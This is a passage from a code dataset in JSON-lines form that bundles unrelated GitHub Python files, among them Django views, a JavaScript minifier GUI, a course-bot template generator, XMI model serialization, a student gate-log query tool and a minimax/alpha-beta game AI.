feed})\n\n\n@login_required\n@ajax_required\ndef remove(request):\n print('inside remove, feeds.view')\n try:\n feed_id = request.POST.get('feed')\n feed = Feed.objects.get(pk=feed_id)\n if feed.user == request.user:\n likes = feed.get_likes()\n parent = feed.parent\n for like in likes:\n like.delete()\n feed.delete()\n if parent:\n parent.calculate_comments()\n return HttpResponse()\n else:\n return HttpResponseForbidden()\n except Exception:\n return HttpResponseBadRequest()\n\n","repo_name":"Anupam-dagar/school-network-HINT17","sub_path":"schools_src/feeds/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":21490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72998065793","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n'''\nQt interface for utility jsmin\nCompress your JavaScript files\n\nAuthor: Denis Popov\nE-mail: d.popov93@mail.ru\nCreated: 20.03.2021\nVersion: 0.1\n\n'''\n\nfrom PyQt5.QtWidgets import QMainWindow, QWidget, QLineEdit, QPushButton, QFileDialog, QMessageBox\nfrom os import path\nfrom PyQt5 import uic\nfrom PyQt5.QtGui import QIcon\nfrom jsmin import jsmin\n\nclass MW_Compresser(QMainWindow):\n def __init__(self, app_path):\n super().__init__()\n uic.loadUi(\"window\\\\mw_compresser.ui\", self)\n self.setWindowIcon(QIcon(app_path + path.sep + \"icon\" + path.sep + 'Compresser_Logo.ico'))\n self.file_storage = \"\"\n \n linepath_inputfile = self.linepath_inputfile\n linepath_outfile = self.linepath_outfile\n opendialog_inputfile = self.opendialog_inputfile\n opendialog_outfile = self.opendialog_outfile\n compress_button = self.compress_button\n \n opendialog_inputfile.clicked.connect(self.opendialog_inputfile_clicked)\n opendialog_outfile.clicked.connect(self.opendialog_outfile_clicked)\n compress_button.clicked.connect(self.compress_button_clicked)\n \n def opendialog_inputfile_clicked(self):\n options = QFileDialog.Options()\n options |= QFileDialog.DontUseNativeDialog\n file_name, _ = QFileDialog.getOpenFileName(self,\"Select file for compress\", \"\",\"Javascript Files (*.js)\", options=options)\n if file_name:\n try:\n file = open(file_name, 'r')\n except Exception:\n QMessageBox.critical(self,\"Error\", \"Get opening error\")\n else:\n self.linepath_inputfile.setText(file_name)\n finally:\n file.close()\n \n def opendialog_outfile_clicked(self):\n options = QFileDialog.Options()\n options |= QFileDialog.DontUseNativeDialog\n file_name, _ = QFileDialog.getSaveFileName(self, \"Select output file\",\"\",\"Compressed Javascript (*.min.js)\", options=options)\n if file_name:\n file_basename = path.basename(file_name)\n output_string = \"\"\n if file_basename[-7:] == \".min.js\":\n output_string = file_name\n else:\n output_string = path.split(file_name)[0]\n if (path.split(file_name)[0][-1] != '/'):\n output_string += '/'\n output_string += file_basename.split('.')[0] + '.min.js'\n self.linepath_outfile.setText(output_string)\n \n def compress_button_clicked(self):\n if self.linepath_inputfile.text() == \"\" or self.linepath_outfile.text() == \"\":\n return\n if path.basename(self.linepath_inputfile.text())[-3:] == '.js':\n try:\n with open(self.linepath_inputfile.text()) as js_file:\n minified = jsmin(js_file.read())\n except:\n QMessageBox.critical(self,\"Error reading file\", \"File \" + self.linepath_inputfile.text() + \", can't be read!\")\n return\n if path.basename(self.linepath_outfile.text())[-7:] == '.min.js':\n try:\n if minified:\n out_file = open(self.linepath_outfile.text(), \"w\")\n out_file.write(''.join(minified.splitlines()))\n except:\n QMessageBox.critical(self,\"Error compressing file\", \"Please check output path permissions\")\n else:\n QMessageBox.information(self, \"LuckyBoard Compresser\", \"Compression was successful\")\n finally:\n out_file.close()","repo_name":"dpopov93/lb-compresser","sub_path":"window/MW_Compresser.py","file_name":"MW_Compresser.py","file_ext":"py","file_size_in_byte":3670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28631643422","text":"# coding: utf-8\ntry:\n from .access_django import *\nexcept:\n from access_django import *\nimport random\nfrom django.template import Context, Template\nfrom utils.nlg import *\nfrom utils.tagger import *\nfrom utils.query import *\nimport sys\n\n# Templates\n# possible_slots = [\n# 'title',\n# 'when',\n# 'instructor',\n# 'classroom',\n# 'designated_for',\n# 'required_elective',\n# 'sel_method'\n# ]\nbe = ['', '是']\nask = ['', '請問', '請告訴我', '請跟我說', '我需要知道']\nq_end = ['', '?', '?']\n\ntemplates = {\n 'request_title': [\n Template('{{ask}}課程名稱是{{q_end}}'),\n Template('{{ask}}課名{{q_end}}'),\n Template('{{ask}}是哪一門課{{q_end}}'),\n Template('{{ask}}要找哪一門課{{q_end}}'),\n ],\n 'request_instructor': [\n Template('{{ask}}老師是誰{{q_end}}'),\n Template('{{ask}}老師是哪位{{q_end}}'),\n Template('{{ask}}是誰開的{{q_end}}'),\n Template('{{ask}}哪位教授開的{{q_end}}'),\n Template('{{ask}}教授是誰{{q_end}}'),\n Template('{{ask}}是誰教的{{q_end}}'),\n ],\n 'request_schedule_str': [\n Template('{{ask}}什麼時候的課{{q_end}}'),\n Template('{{ask}}上課時間在什麼時候{{q_end}}'),\n Template('{{ask}}什麼時候上課{{q_end}}'),\n Template('{{ask}}星期幾上課{{q_end}}'),\n Template('{{ask}}禮拜幾上課{{q_end}}'),\n ],\n 'request_designated_for': [\n Template('{{ask}}是哪個系開的{{q_end}}'),\n Template('{{ask}}是哪個系所開的{{q_end}}'),\n Template('{{ask}}什麼系開的{{q_end}}'),\n Template('{{ask}}什麼系所的課{{q_end}}'),\n Template('是哪個系的課{{q_end}}'),\n Template('是哪個系所的課{{q_end}}'),\n ],\n 'inform_base': [\n Template('流水號{{serial_no}}:{{title}},授課教師是{{instructor}}。'),\n Template('流水號{{serial_no}}:{{instructor}}開的{{title}}。'),\n Template('{{serial_no}}:{{title}} by {{instructor}}。'),\n Template('[{{serial_no}}]{{instructor}}開授的{{title}}。'),\n ],\n 'inform_when': [\n Template('{{be}}{{when}}。'),\n Template('{{be}}{{when}}的課。'),\n Template('{{be}}{{when}}上課。'),\n Template('在{{when}}上課。'),\n Template('{{be}}{{when}}上的。'),\n ],\n 'inform_classroom': [\n Template('{{be}}{{classroom}}。'),\n Template('在{{classroom}}上課。'),\n Template('上課地點是{{classroom}}。'),\n Template('教室在{{classroom}}。'),\n ],\n 'inform_designated_for': [\n Template('{{be}}{{designated_for}}開的。'),\n Template('{{be}}{{designated_for}}的課。'),\n Template('{{be}}{{designated_for}}上的。'),\n ],\n 'inform_sel_method':[ \n Template('{{be}}{{sel_method}}。'),\n Template('加選方法{{be}}{{sel_method}}。'),\n Template('加簽方式{{be}}{{sel_method}}。'),\n Template('選課方法{{be}}{{sel_method}}。'),\n Template('{{be}}{{sel_method}}。'),\n ],\n 'thanks': [\n Template('謝謝'),\n Template('感謝你'),\n Template('感恩'),\n ],\n 'closing': [\n Template('不好意思,沒有找到符合條件的課程。'),\n Template('不好意思,可以重新說一次您的條件嗎?'),\n Template('沒有幫您找到符合條件的課程,很抱歉。'),\n Template('我找不到這樣的課耶QQ'),\n ],\n}\n\n\ndef trim_course(course):\n course['when'] = random.choice(['星期', '禮拜']) + course['schedule_str'][0]\n course['be'] = random.choice(be)\n course['ask'] = random.choice(ask)\n for k in ['title', 'instructor', 'classroom']:\n course[k] = trim_attr(course[k])\n return course\n\nif __name__ == '__main__':\n \"\"\"\n In this format:\n Line1: Intent\n Line2: Tokenized sentence\n Line3: BIO\n ======\n classroom\n 禮拜三 高分子材料概論 在 哪個 系館 哪間 教室 上課 嗎 ?\n B_when B_title O O O O O O O O\n title\n 幫 我 找 吳俊傑 教 哪些 課 ?\n O O O B_instructor O O O O\n \"\"\"\n print('[Info] Start generating templates')\n # TODO Change to argparse\n #filename = 'training_template.txt'\n filename = sys.argv[1]\n N = 100\n courses = query_course({}).values() # Get all course\n # TODO Refine request_schedule_str to when\n #\n with open(filename, 'w') as f:\n for intent, tpls in templates.items():\n for tpl in tpls:\n for _ in range(N):\n course = random.choice(courses)\n course = trim_course(course)\n # Jieba cut sentence\n sentence = ' '.join(cut(tpl.render(Context(course))))\n # BIO tagged sentence\n bio_tagged = ' '.join(BIO(sentence, course))\n\n f.write(intent + '\\n')\n f.write(sentence + '\\n')\n f.write(bio_tagged + '\\n')\n","repo_name":"henryyang42/NTU-Course-Bot","sub_path":"misc_scripts/agent_template_nlg.py","file_name":"agent_template_nlg.py","file_ext":"py","file_size_in_byte":5013,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"71129488516","text":"# 제목: 최근접 쌍의 거리 억지기법\n# 작성자 : 컴퓨터 공학부 지승민\n# 작성일 : 2023.10.12\n\nimport math\n\ndef distance(p1, p2):\n return math.sqrt((p1[0]-p2[0])**2+(p1[1]-p2[1])**2)\n\ndef closest_pair(p):\n n = len(p)\n mindist = float(\"inf\")\n for i in range(n-1):\n for j in range(i+1,n):\n dist = distance(p[i], p[j])\n if dist < mindist :\n mindist = dist\n return mindist\n\np = [(2,3),(12,30),(40,50),(5,1),(12,10),(3,4)]\nprint(\"최근접 거리:\", closest_pair(p))","repo_name":"jiseungmin/Algorithm","sub_path":"Class/1012/Jiseungmin_1012_01.py","file_name":"Jiseungmin_1012_01.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13732438137","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Nov 30 20:51:11 2022\r\n\r\n@author: dvory\r\n\"\"\"\r\n\r\nm=int(input(\"Введите количество строк\"))\r\nn=int(input(\"Введите количество столбцов\"))\r\na=[]\r\nfor i in range(m):\r\n b=[]\r\n for j in range(n):\r\n print (\"Введите [',i,', ',j,'] 'элемент\")\r\n b.append(int(input()))\r\n a.append(b)\r\nprint(\"Исходный массив:\")\r\nfor i in range(m):\r\n for j in range(n):\r\n print(a[i][j], end=' ')\r\n print()\r\nfor i in range(m):\r\n j=1\r\n while (j!=n):\r\n if a[i][j] StringEnabledXMIResource:\n \"Create a resource that can be used to store a string in-memory.\"\n resource = StringEnabledXMIResource()\n self.resources[\"modeling-assistant\"] = self.resources[\"class-diagram\"] = resource\n resource.resource_set = self\n resource.decoders.insert(0, self)\n resource.use_uuid = True\n return resource\n\n def create_ma_str(self, ma: ModelingAssistant) -> str:\n \"Create a string representation of a modeling assistant model.\"\n cdms = (sol.classDiagram for sol in ma.solutions)\n ma_id = ma._internal_id # pylint: disable=protected-access\n ma_id_not_set = ma_id is None\n ma_rsc = ma.eResource\n\n resource = self.create_string_resource()\n if ma_id:\n self.ma_ids_to_string_resources[ma_id] = resource\n resource.extend((ma, *cdms)) # this overwrites the reference to the original MA resource\n\n ma_str = resource.save_to_string().decode()\n ma_id = self.get_ma_id_from_str(ma_str)\n if ma_id_not_set and ma_id:\n self.ma_ids_to_string_resources[ma_id] = resource\n # restore the original resource\n ma._eresource = ma_rsc # pylint: disable=protected-access\n return ma_str\n\n def get_string_resource(self, string: str | bytes, options=None) -> StringEnabledXMIResource:\n \"Return a resource from the given string.\"\n options = options or {}\n options[MA_USE_STRING_SERDES] = True\n\n ma_id = self.get_ma_id_from_str(string)\n if ma_id:\n resource = self.create_string_resource()\n self.ma_ids_to_string_resources[ma_id] = resource\n\n try:\n resource.load_string(string, options=options)\n # Set relative path as URI if not already set\n here_uri = URI(\".\")\n self.resources[here_uri.normalize()] = None\n resource._uri = resource._uri or here_uri # pylint: disable=protected-access\n resource.uri = resource.uri or here_uri\n except Exception:\n self.remove_resource(resource)\n raise\n return resource\n\n def get_resource(self, uri, options=None):\n if uri and LC_FILENAME in uri.normalize() and LC_ABS_PATH in self.resources:\n return self.resources[LC_ABS_PATH]\n if isinstance(uri, URI):\n uri.plain = uri.plain.removeprefix(\"file:\")\n return super().get_resource(uri, options)\n\n def resolve(self, uri: URI | str, from_resource: StringEnabledXMIResource = None):\n if isinstance(uri, URI):\n uri = uri.plain\n uri: str = uri.removeprefix(\"file:\")\n if \"default.learningcorpus\" in uri and os.name == \"nt\":\n uri = re.sub(r\"\\S:/\", \"\", uri).replace('/','\\\\') # remove Windows drive letter\n ma = next((e for e in from_resource.contents if isinstance(e, ModelingAssistant)), None)\n if ma and not ma.eResource.uuid_dict:\n ma.eResource.uuid_dict = from_resource.uuid_dict\n return super().resolve(uri, from_resource)\n\n @staticmethod\n def get_ma_id_from_str(ma_str: str | bytes) -> str:\n \"Return the modeling assistant id from the given string.\"\n if isinstance(ma_str, bytes):\n ma_str = ma_str.decode()\n ma_id = re.sub(r\"\"\"[\\s\\S]*<[Mm]odeling[Aa]ssistant[^>]*xmi:id=[\"'](?P.*?)[\"'][\\s\\S]*\"\"\",\n r\"\\g\", ma_str)\n return ma_id\n\n\nclass StringEnabledXMIResource(XMIResource):\n \"\"\"\n XMIResource used to load/save a model instance from/to a string instead of a file.\n The code is mostly copied from the pyecore library, but with modifications to\n use strings instead a file.\n \"\"\"\n def load_string(self, string: str, options=None):\n \"Load the given XMI string to this StringEnabledXMIResource.\"\n self.options = options or {}\n self.cache_enabled = True\n if not isinstance(string, bytes):\n string = string.encode(\"utf-8\")\n tree = fromstring(string, base_url=\".\")\n xmlroot = tree\n self.prefixes.update(xmlroot.nsmap)\n self.reverse_nsmap = {v: k for k, v in self.prefixes.items()}\n\n self.xsitype = f\"{{{self.prefixes.get(XSI)}}}type\"\n self.xmiid = f\"{{{self.prefixes.get(XMI)}}}id\"\n self.schema_tag = f\"{{{self.prefixes.get(XSI)}}}schemaLocation\"\n\n # Decode the XMI\n if f\"{{{self.prefixes.get(XMI)}}}XMI\" == xmlroot.tag:\n real_roots = xmlroot\n else:\n real_roots = [xmlroot]\n\n def grouper(iterable):\n args = [iter(iterable)] * 2\n return zip(*args)\n\n self.schema_locations = {}\n schema_tag_list = xmlroot.attrib.get(self.schema_tag, '')\n for prefix, path in grouper(schema_tag_list.split()):\n if '#' not in path:\n path = path + '#'\n self.schema_locations[prefix] = EProxy(path, self)\n\n for root in real_roots:\n modelroot = self._init_modelroot(root)\n for child in root:\n self._decode_eobject(child, modelroot)\n\n if self.contents:\n self._decode_ereferences()\n\n content = self.contents[0]\n if options.get(\"use_static_classes\", True):\n set_static_class_for(content)\n for e in content.eAllContents():\n set_static_class_for(e)\n\n def save_to_string(self, options=None) -> bytes:\n \"\"\"\n Save resource to binary string.\n \"\"\"\n self.options = options or {}\n self.prefixes.clear()\n self.reverse_nsmap.clear()\n\n # Set relative path as URI if not already set\n self_rset = self.resource_set\n self.resource_set = None # temporarily disable rset to avoid dereferencing nonexistant old URI\n self.uri = self.uri or URI(\".\")\n self.resource_set = self_rset\n\n serialize_default = self.options.get(XMIOptions.SERIALIZE_DEFAULT_VALUES, False)\n nsmap = {XMI: XMI_URL}\n\n if len(self.contents) == 1:\n root = self.contents[0]\n self.register_eobject_epackage(root)\n tmp_xmi_root = self._go_across(root, serialize_default)\n else:\n tag = QName(XMI_URL, 'XMI')\n tmp_xmi_root = Element(tag)\n for root in self.contents:\n root_node = self._go_across(root, serialize_default)\n tmp_xmi_root.append(root_node)\n\n # update nsmap with prefixes register during the nodes creation\n nsmap.update(self.prefixes)\n xmi_root = Element(tmp_xmi_root.tag, nsmap=nsmap)\n xmi_root[:] = tmp_xmi_root[:]\n xmi_root.attrib.update(tmp_xmi_root.attrib)\n xmi_version = QName(XMI_URL, 'version')\n xmi_root.attrib[xmi_version] = '2.0'\n tree = ElementTree(xmi_root)\n # TODO Set pretty_print=False in production # pylint: disable=fixme\n return tostring(tree, pretty_print=True, xml_declaration=True, encoding=tree.docinfo.encoding)\n\n\n# The StringEnabledResourceSet singleton instance\nSRSET = StringEnabledResourceSet()\n\n\ndef str_to_cdm(cdm_str: str, use_static_classes: bool = True) -> ClassDiagram:\n \"Load a class diagram from a string.\"\n resource = SRSET.get_string_resource(cdm_str)\n class_diagram: ClassDiagram = resource.contents[0]\n if use_static_classes:\n class_diagram.__class__ = ClassDiagram\n for e in class_diagram.eAllContents():\n set_static_class_for(e)\n return class_diagram\n\n\ndef str_to_modelingassistant(ma_str: str | bytes, use_static_classes: bool = True) -> ModelingAssistant:\n \"Load a modeling assistant from a string.\"\n resource = SRSET.get_string_resource(ma_str)\n modeling_assistant: ModelingAssistant = resource.contents[0]\n for sol in modeling_assistant.solutions:\n modeling_assistant.classDiagramsToSolutions[\n sol.classDiagram._internal_id] = sol._internal_id # pylint: disable=protected-access\n if use_static_classes:\n modeling_assistant.__class__ = ModelingAssistant\n for e in modeling_assistant.eAllContents():\n set_static_class_for(e)\n if not e.eResource:\n e._eresource = resource # pylint: disable=protected-access\n return modeling_assistant\n","repo_name":"YounesB-McGill/modeling-assistant","sub_path":"modelingassistant/pythonapp/stringserdes.py","file_name":"stringserdes.py","file_ext":"py","file_size_in_byte":9861,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"21992750257","text":"#Question 02 :-\n\"\"\"For IIIT-D students living off-campus, Suppose records of whenever a student enters or exits the campus are maintained in a data file. A typical data entry will look like this: \"Student_Name, Crossing (can be ENTER or EXIT), Gate-number, Time (in 24 hr format)”\nIf in the record, a student is shown to enter even if he had previously entered the campus,\ni.e., two ENTER entries before EXIT, take the first one.\nSimilarly, there can be two consecutive EXIT entries from the campus for a student - if so, take the last one.\nYou are given the data for one day (A sample data file can be downloaded from File).\nIf for a student there is EXIT but there is no ENTRY - it means he/she came the day before; similarly if ENTRY but no EXIT,\nit means that the student will leave next day. To avoid special situations, it is best if you first sort this data w.r.t time.\nNote: Use of inbuilt libraries like datetime, etc. is not allowed.\n\nConvert this data into a nested dictionary. The keys should be the name and value should be another dictionary containing\na list of gate no, crossing type, time. Use this dictionary to answer the following queries (for querying, you can write\na small loop and ask for a number between 1 and 3 - nothing given can be the end) :-\n\n1) Given a student name (as input), show the record of students moving in/out of campus (as a list of tuples) in the day\n(in a output text file), and whether currently present in campus or not. Take another input for current time as well.\n2) Given the start time and the end time (in 24hr format, both inclusive) as input, determine all the students who entered\nthe campus during this, and all students who exited the campus during this time. Save the result into an output text file,\nwith the format similar as the input data file.\n3) Given the gate number (as input), determine the number of times students have entered the campus through that gate, and\nthe number of times students have exited the campus from that gate. \n\"\"\"\n\n#CODE:-\n#Defining Function for First Function:-\ndef Student_status(dict_data):\n# Given a student name (as input), show the record of students moving in/out of campus (as a list of tuples)\n# in the day (in a output text file), and whether currently present in campus or not.\n# Take another input for current time as well.\n student_name=input(\"Enter the Student Name:- \").lower()\n current_time=input(\"Enter the Current Time (Input Format : HH:MM:SS):- \")\n list_print=[]\n with open (\"output_func1.txt\",\"w\") as output1:\n if student_name not in dict_data:\n print(\"Student never entered and exited from any of the gate.\")\n output1.write(\"Student never entered and exited from any of the gate.\")\n else:\n for i in dict_data[student_name]:\n list_print.append(tuple(i))\n print(\"\")\n print(\"Record of students moving in/out of campus\")\n print(\"\")\n print(\"(Exit/Enter,Gate Number,Time)\")\n print(\"\")\n print(list_print)\n output1.write(f\"{list_print} \\n\")\n\n for i in range(len(dict_data[student_name])):\n if int(\"\".join(dict_data[student_name][i][2].split(\":\")))<=int(\"\".join(current_time.split(\":\"))) and int(\"\".join(dict_data[student_name][i+1][2].split(\":\")))>int(\"\".join(current_time.split(\":\"))):\n if dict_data[student_name][i][0]==\"EXIT\":\n print(\"Student is 'not' in the 'College Premises'.\")\n output1.write(\"Student is 'not' in the 'College Premises'.\")\n else:\n output1.write(\"Student is 'currently present' in the 'College Premises'.\")\n print(\"Student is 'currently present' in the 'College Premises'.\")\n\n elif int(\"\".join(dict_data[student_name][i][2].split(\":\")))>int(\"\".join(current_time.split(\":\"))) and i==0:\n if dict_data[student_name][i][0]==\"EXIT\":\n output1.write(\"Student is 'currently present' in the 'College Premises'.\")\n print(\"Student is 'currently present' in the 'College Premises'.\")\n else:\n print(\"Student is 'not' in the 'College Premises'.\")\n output1.write(\"Student is 'not' in the 'College Premises'.\")\n output1.close()\n\n#Defining Function for Second Function:-\ndef determine_entry_exit(dict_data):\n# Given the start time and the end time (in 24hr format, both inclusive) as input, determine all the students\n# who entered the campus during this, and all students who exited the campus during this time.\n# Save the result into an output text file, with the format similar as the input data file.\n intial_time=int(\"\".join(input(\"Enter the Intial Time:-\").split(\":\")))\n final_time=int(\"\".join(input(\"Enter the Final Time:-\").split(\":\")))\n with open(\"output_func2.txt\",\"w\") as output2:\n output2.write(\"TA, Crossing, Gate number, Time\\n\")\n print(\"\")\n print(\"TA, Crossing, Gate number, Time\")\n for i in dict_data:\n for j in dict_data[i]:\n if int(\"\".join(j[2].split(\":\")))>=intial_time and int(\"\".join(j[2].split(\":\")))<=final_time:\n output2.write(f\"{i}, {j[0]}, {j[1]}, {j[2]}\\n\")\n print(f\"{i}, {j[0]}, {j[1]}, {j[2]}\")\n output2.close()\n\n#Defining Function for Third Function:-\ndef Find_by_GateNumber(dict_data):\n# Given the gate number (as input), determine the number of times students have entered the campus through that gate,\n# and the number of times students have exited the campus from that gate.\n gate_input=input(\"Enter Gate Number:- \")\n count_entry=0\n count_exit=0\n for i in dict_data:\n for j in dict_data[i]:\n if j[1]==gate_input:\n if j[0]==\"ENTER\":\n count_entry+=1\n else:\n count_exit+=1\n print(\"No of Entries from Gate Number\", gate_input,\"on that Day:-\",count_entry)\n print(\"No of Exits from Gate Number\",gate_input,\"on that Day:-\",count_exit)\n\n#Taking Input :-\ndict_data=dict()\nwith open(\"sorted_data.txt\",\"r\") as mydata:\n for line in mydata:\n list_temp=line.split(\", \")\n list_temp[-1]=list_temp[-1][:-1]\n list_temp[0]=list_temp[0].lower()\n if list_temp!=[\"ta\", \"Crossing\", \"Gate number\", \"Time\"]:\n if list_temp[0] not in dict_data:\n dict_data[list_temp[0]]=[list_temp[1:]]\n else:\n list_temp2=dict_data[list_temp[0]].append(list_temp[1:])\nmydata.close()\n\n#Making Nested Dictionary:\nnested_dict=dict()\nfor i in dict_data:\n nested_dict[i]=[]\n for j in dict_data[i]:\n nested_dict[i].append({\"Crossing\":j[0],\"Gate number\":j[1],\"Time\":j[2]})\n\nwhile True:\n print(\"|--------------------------------------------------------------------------------|\")\n print(\"| 1.) | Showing record by the student name and it's current presence or absence. |\")\n print(\"| 2.) | Showing Entry/Exit Data within a given Time Frame. |\")\n print(\"| 3.) | No. of entries and exit from that specified Gate Number provided. |\")\n print(\"| 4.) | Type Nothing to exit the Program |\")\n print(\"|--------------------------------------------------------------------------------|\")\n chooseoption=input(\"Choose from the above option given :-\")\n if chooseoption==\"1\":\n Student_status(dict_data)\n elif chooseoption==\"2\":\n determine_entry_exit(dict_data)\n elif chooseoption==\"3\":\n Find_by_GateNumber(dict_data)\n elif chooseoption==\"\":\n break\n else:\n print(\"Give a valid input!\")","repo_name":"yogk2004/Python","sub_path":"Assignment 03/Problem_02.py","file_name":"Problem_02.py","file_ext":"py","file_size_in_byte":7784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3412858393","text":"import sys\r\nfrom decimal import Decimal\r\n\r\nMINIMUM_INT = Decimal(\"-inf\")\r\nMAXIMUM_INT = Decimal(\"inf\")\r\nGREEDY = 1\r\nMINIMAX = 2\r\nALPHABETA = 3 \r\n\r\ndef TraverseLog(node,ab=False):\r\n i = node.pos[0]\r\n j = node.pos[1]\r\n dep = node.depth\r\n val = node.score\r\n s = \"\"\r\n if 0 == j:\r\n s = \"A\"+str(i+1)+\",\"+str(dep)+\",\"+str(val)\r\n elif 1 == j:\r\n s = \"B\"+str(i+1)+\",\"+str(dep)+\",\"+str(val)\r\n elif 2 == j:\r\n s = \"C\"+str(i+1)+\",\"+str(dep)+\",\"+str(val)\r\n elif 3 == j:\r\n s = \"D\"+str(i+1)+\",\"+str(dep)+\",\"+str(val)\r\n elif 4 == j:\r\n s = \"E\"+str(i+1)+\",\"+str(dep)+\",\"+str(val)\r\n else:\r\n s = \"root\"+\",\"+str(dep)+\",\"+str(val)\r\n if ab:\r\n s += \",\"+str(node.alpha)+\",\"+str(node.beta)\r\n return s\r\n\r\ndef SwapPlayer(pPlayer):\r\n if 'O' == pPlayer:\r\n return 'X'\r\n else:\r\n return 'O'\r\n\r\nclass AIHW1(object):\r\n def __init__(self, prob_file):\r\n with open(prob_file) as f:\r\n lines = f.readlines()\r\n count = 0\r\n self.strategy = int(lines[0].strip())\r\n if self.strategy >= 4:\r\n self.firstPlayer = lines[1].strip()\r\n self.firstPlayerAlgo = int(lines[2].strip())\r\n self.firstPlayerCutOff = int(lines[3].strip())\r\n self.secondPlayer = lines[4].strip()\r\n self.secondPlayerAlgo = int(lines[5].strip())\r\n self.secondPlayerCutOff = int(lines[6].strip())\r\n count = 7\r\n\r\n if self.strategy <= 3:\r\n self.myPiece = lines[1].strip()\r\n self.oppPiece = SwapPlayer(self.myPiece)\r\n self.cutoff = int(lines[2].strip())\r\n count = 3\r\n\r\n self.costs = [[int(j) for j in lines[count + i].strip().split()]\r\n for i in range(5)]\r\n count = count + 5\r\n\r\n self.state = [[j for j in lines[count + i].strip()]\r\n for i in range(5)]\r\n\r\n def isTerminal(self, state,debug = False):\r\n bRes = True\r\n for i, j in self.yieldAllCells():\r\n if state[i][j] == '*':\r\n return False\r\n return bRes\r\n\r\n def printState(self, state, fileName,debug = False):\r\n res = \"\"\r\n i = 0\r\n j = 0\r\n for row in state:\r\n for cell in row:\r\n res += str(cell)\r\n res += \"\\n\"\r\n if fileName:\r\n with open(fileName, 'w') as w:\r\n w.write(res)\r\n return res\r\n\r\n def evaluateState(self, state,player,debug = False):\r\n score = 0\r\n oppPlayer = SwapPlayer(player)\r\n for (i,j) in self.yieldAllCells():\r\n if state[i][j] == player:\r\n score = score + self.costs[i][j]\r\n elif state[i][j] == oppPlayer:\r\n score = score - self.costs[i][j]\r\n return score\r\n\r\n def yieldAllCells(self,debug = False):\r\n for i in range(5):\r\n for j in range(5):\r\n yield (i, j)\r\n\r\n def findEmptyCells(self, state,debug = False):\r\n res = []\r\n for i in range(5):\r\n for j in range(5):\r\n if '*' == state[i][j]:\r\n res.append((i, j))\r\n return res\r\n\r\n def moveToCell(self, state, row, col, playerPiece,debug = False):\r\n undoLog = []\r\n oppPiece = SwapPlayer(playerPiece)\r\n if state[row][col] == '*':\r\n self.state[row][col] = playerPiece\r\n undoLog.append((row, col, '*'))\r\n\r\n adjacentCells = [(row-1, col), (row+1, col), (row, col-1), (row, col+1)]\r\n raid = False\r\n oppCells = []\r\n for i, j in adjacentCells:\r\n if 0 <= i < 5 and 0 <= j < 5:\r\n if state[i][j] == playerPiece:\r\n raid = True\r\n elif state[i][j] == oppPiece:\r\n oppCells.append((i, j))\r\n if raid:\r\n for x, y in oppCells:\r\n state[x][y] = playerPiece\r\n undoLog.append((x, y, oppPiece))\r\n return undoLog\r\n\r\n\r\n def greedyBFS(self,player,debug = False):\r\n oppPiece = SwapPlayer(player)\r\n heuristic = [[None for j in range(5)] for i in range(5)]\r\n\r\n currentScore = self.evaluateState(self.state,player)\r\n for i, j in self.yieldAllCells():\r\n if self.state[i][j] == '*': \r\n\r\n heuristic[i][j] = currentScore + self.costs[i][j]\r\n\r\n adjacent_cells = [(i-1, j), (i+1, j), (i, j-1), (i, j+1)]\r\n raid = False\r\n\r\n oppLoss = 0\r\n for x, y in adjacent_cells:\r\n if 0 <= x < 5 and 0 <= y < 5:\r\n if self.state[x][y] == oppPiece:\r\n oppLoss += self.costs[x][y]\r\n elif self.state[x][y] == player:\r\n raid = True\r\n if raid:\r\n heuristic[i][j] += 2 * oppLoss\r\n maxVal = MINIMUM_INT\r\n pos = None\r\n\r\n for i, j in self.yieldAllCells():\r\n if heuristic[i][j] != None and heuristic[i][j] > maxVal:\r\n maxVal = heuristic[i][j]\r\n pos = (i, j)\r\n if pos:\r\n return self.moveToCell(self.state, pos[0], pos[1], player)\r\n\r\n def miniMax(self,logfile,debug = False):\r\n if logfile:\r\n logfile.write(\"Node,Depth,Value\")\r\n root = Box(MINIMUM_INT, (None, None), None)\r\n self.maximum(self.state, root,self.cutoff, self.myPiece, logfile)\r\n if root.nextMove:\r\n move = root.nextMove\r\n self.moveToCell(self.state, move.pos[0], move.pos[1], move.piece)\r\n\r\n def alphaBetaPruning(self,logfile,debug = False):\r\n if logfile:\r\n logfile.write(\"Node,Depth,Value,Alpha,Beta\")\r\n root = Box(MINIMUM_INT, (None, None), None) \r\n\r\n root.alpha = MINIMUM_INT \r\n root.beta = MAXIMUM_INT \r\n self.maximumAB(self.state, root,self.cutoff,logfile,self.myPiece)\r\n if root.nextMove:\r\n move = root.nextMove\r\n self.moveToCell(self.state, move.pos[0], move.pos[1], move.piece)\r\n\r\n def simulate(self,debug = False):\r\n count = 0\r\n with open(\"trace_state.txt\", 'w') as out:\r\n while not self.isTerminal(self.state):\r\n if count % 2 != 0:\r\n self.your_turn(self.secondPlayerAlgo, self.secondPlayer, self.firstPlayer, self.secondPlayerCutOff)\r\n elif count % 2 == 0:\r\n self.your_turn(self.firstPlayerAlgo, self.firstPlayer, self.secondPlayer, self.firstPlayerCutOff)\r\n\r\n if count > 0:\r\n out.write(\"\\r\\n\")\r\n res = self.printState(self.state,None).strip()\r\n out.write(res)\r\n count = count + 1\r\n\r\n def your_turn(self, strategy, player, opponent, cutoff, logfile = None):\r\n if strategy == 1:\r\n self.greedyBFS(player)\r\n elif strategy == 2:\r\n if logfile:\r\n logfile.write(\"Node,Depth,Value\")\r\n root = Box(MINIMUM_INT, (None, None), None)\r\n self.maximum(self.state, root,cutoff, player, logfile)\r\n if root.nextMove:\r\n move = root.nextMove\r\n self.moveToCell(self.state, move.pos[0], move.pos[1], move.piece)\r\n pass\r\n elif strategy == 3:\r\n if logfile:\r\n logfile.write(\"Node,Depth,Value,Alpha,Beta\")\r\n 